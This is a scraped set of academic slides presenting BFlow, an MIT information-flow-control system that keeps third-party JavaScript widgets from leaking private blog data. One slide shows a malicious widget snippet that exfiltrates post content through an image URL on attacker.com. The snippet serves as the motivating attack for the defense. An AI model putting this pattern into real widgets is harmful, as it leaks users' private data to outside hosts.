280 likes | 402 Views
Privacy-Preserving Browser-Side Scripting With BFlow. Alexander Yip , Neha Narula , Maxwell Krohn , Robert Morris Massachusetts Institute of Technology. Web Sites Support 3 rd Party JavaScript Extensions. Blogger.com supports “widgets†read and modify blog posts.
E N D
Privacy-Preserving Browser-Side Scripting With BFlow Alexander Yip, NehaNarula, Maxwell Krohn, Robert Morris Massachusetts Institute of Technology
Web Sites Support 3rd Party JavaScript Extensions • Blogger.com supports “widgets” • read and modify blog posts Snippets of the last few blog posts Display the last few reader comments
A 3rd Party JavaScript Leak Attack Widget has access to private blog content Widget’s JavaScript source code: Widget leaks private blog content to attacker.com private_data = document.getElementById(“posts”); widget.innerHTML = private_data; widget.innerHTML += ‘<IMG SRC=http://attacker.com/’+ private_data +‘.gif>’; Shows private blog content in widget’s box • Blogger.com wants to provide data to widgets • Browser security policy permits JS to send data freely • Wrote a malicious blogger.com widget in one hour Alice’s Browser attacker.com Server Blogger JS + Attacker JS HTTP Request: GET /sell_pet_food_online.gif HTTP/1.0
Problem: Extensibility vs. Privacy (Choose one) • Either choose cool extensibility features • e.g. Blogger.com widgets • Or choose privacy and no 3rd party code • e.g. Gmail oitotouroiejfjlf lkjljvojubjjcjif Zlxcoizvuowqjlsavzmzlvcjlsadfjfoqwojerl,clvzlxcvjaoisjqklqwerljdsalzzx,vcnadsoqoiewqoirulnzdlkfjaoiqueoqejlnlvkjxzcoivuaqoeruqowejrlkasdnzcvzxvalsdfouqoweurozxcvjlkajoqewjrlsdznlkzxvjzl Dan’s Spell Checker Joe’s Encryption Widget Check Spelling! Encrypt Mail Decrypt Mail
Solution: BFlow • Eliminate the choice between features & privacy • Add information flow control (IFC) • To JavaScript in the browser • Track private data inside the browser and server • Prohibit communication that leaks private data
Challenges • Fit JavaScript environment into an IFC model • Preserve JavaScript communication channels • Mashups with private data • Fit JavaScript environment into an IFC model • Preserve JavaScript communication channels • Mashups with private data • Fit JavaScript environment into an IFC model • Preserve JavaScript communication channels Send to top-level frame Send to sub-frame • Easy to adopt • Minimize changes to JS that uses existing communication channels • Minimize changes required on the server • Easy for end-users to start using Private address Google Maps Server
Contributions • An IFC model for the JS runtime environment • Easy to deploy and adopt implementation • Installs in browser with 2 clicks • Requires no changes to JavaScript interpreter • Only small changes to JavaScript communication API • A platform that supports real blogger.com widgets
BFlow Overview Untrusted Protection Zones Trusted Protection Zone Blog Server Supplies Some HTML/JS Blog Web Server Blog Server “labels” private data with a “tag” Reference Monitor knows when a zone reads private data attacker.com Server Label: Saw Alice’s private data Label: Saw Alice’s private data 3rd Party Supplies Widget HTML/JS Browser Reference Monitor
BFlow Overview Declassification: Fetch Map Image from Google Maps, OK! Have not seen private data: Can send requests to any server Blog Web Server Have seen private data: Can only send requests to the data’s server attacker.com Server Google Maps Server BFlow prevents the malicious widget from leaking private data Browser Reference Monitor
Design Outline • Tags and Labels • Protection Zones • Reference Monitor • Server
Tags And Labels • A label is a set of tags • Describes what private data an object contains • Each zone, HTTP request, and response has a label • A label is a set of tags • Describes what private data an object contains • Each zone, HTTP request, and response has a label • Each tag identifies a kind of private data • Alice’s tag: blogger.com:alice • Bob’s tag: blogger.com:bob • e.g. Alice’s blog has label L={blogger.com:alice}
Data Flow Rule • Data may flow only if Ldata Lreceiver Receiver JavaScript Data ?
Protection Zones • A zone is a group of browser HTML <frames> • Regular JavaScript runs inside a frame inside a zone • All frames in a zone share the same label • Trusted zone • Top-level frame is in the site’s trusted zone • Contains JavaScript written only by the site’s developers • Need not abide by information flow restrictions • Untrusted zones • Contain 3rd party JavaScript • Must abide by information flow restrictions
Example Zones & Labels Trusted Zone (No Label) Zone A L={} Zone C L={} Zone D L={blogger.com:alice} Zone B L={blogger.com:alice}
How Do Untrusted Zones Get Labels? Trusted zone sets untrusted zone’s label L={} L={blogger.com:alice} augment_label (blogger.com:alice) Blog Web Server Browser Reference Monitor
Works With Existing JS Channels • Channel 1: A frame can always send to its child frame • Lparent Lchild • Channel 1: A frame can always send to its child frame • Lparent Lchild • Channel 2: A frame can always send to the top-level frame • To avoid leaking data, untrusted zones may contain only tags from the web site in the top-level frame Web Page Showing Inherent JavaScript Channels Top-level Frame from X.com Frame 1 may not add X.com:C to its label Frame 1 L={X.com:A} No sub-frame from X.com may add a tag from Y.com Frame 2 L={X.com:A,X.com:B}
Why Zones Instead Of Frames? • Some JavaScript consists of multiple frames • Group JavaScript into modules by label • All frames in the same zone can always communicate • Trusted JavaScript sets the label of a multi-frame widget only once • Existing multi-frame widgets need not coordinate label changes e.g. Cbox chat widget Bottom frame writes messages to top frame
BFlow‘s JavaScript Model • All JavaScript will work if the IFC rules allow • AJAX, eval() • The IFC rule (Ldata Lreceiver) affects • access to DOM variables & cookies • postMessage(), fragment-ID messages • HTTP requests and responses
HTTP Request Rules • Trusted zone T • can send to any server (always) • can receive a response from any server (always) • Untrusted zone Z • can send to the server where secret data came from (always) • can receive the response (when Lresponse LZ) • can send to 3rd party server E (when LZ = {}) • or web site has a declassification exception for (server E, URL) • can receive the response (always)
The BFlow Server API • Propagate label from HTTP requests to responses • Read label contained in each request • Attach the label to any response that uses labeled data HTTP Request: POST save_post?content=sell_petfood_online Label: L = {blogger.com:alice} Zone A L={blogger.com:alice} Blog Web Server L={blogger.com:alice} L={blogger.com:alice} Zone B L={blogger.com:alice} HTTP Response Contents: sell_petfood_online Label: L = {blogger.com:alice}
BFlow Implementation No changes to JavaScript interpreter JavaScript communication API changed slightly Firefox Extension 1100 Lines of code Users can install with 2 clicks Browser Reference Monitor
Zone Isolation • Repurpose browser’s same-origin policy (SOP) • Zones communicate via reference monitor • SOP is conservative: no DOM read/write across zones even if labels would allow • Repurpose browser’s same-origin policy (SOP) • Zones communicate via reference monitor Domain name: Zone1.blogger No direct communication Domain name: Zone2.blogger
Applications • BF-Socialnet • Social network that supports 3rd party JS extensions • Protects private user data (see paper) • BFlogger • Blog mockup that supports blogger.com widgets • Ported 12 existing widgets to BFlogger
BFlow Preserves Privacy • Wrote a malicious Blogger.com widget • Successfully leaks data from confidential blogs • Ported widget to BFlogger • BFlow prevents malicious widget from leaking data attacker.com Server No requests to attacker.com after reading private data
BFlow Runs Existing JavaScript • Better privacy with little or no changes High because we made Chat store data on the BFlow server to protect chat data
Existing Research • Can’t grant read access without also leaking [MashupOS] • Requires rewriting JavaScript & manual jail config [Caja] • Don’t support untrusted JavaScript [Swift, SIF] • User must make disclosure decisions [NoMoXSS] • Certificates [Java]
Conclusion • 3rd party JavaScript can leak confidential user data • BFlow provides a new web security model • Tracks information flow between client & server • 3rd party JavaScript can safely compute and display • Enables new features in web sites • e.g. 3rd party Gmail extensions Questions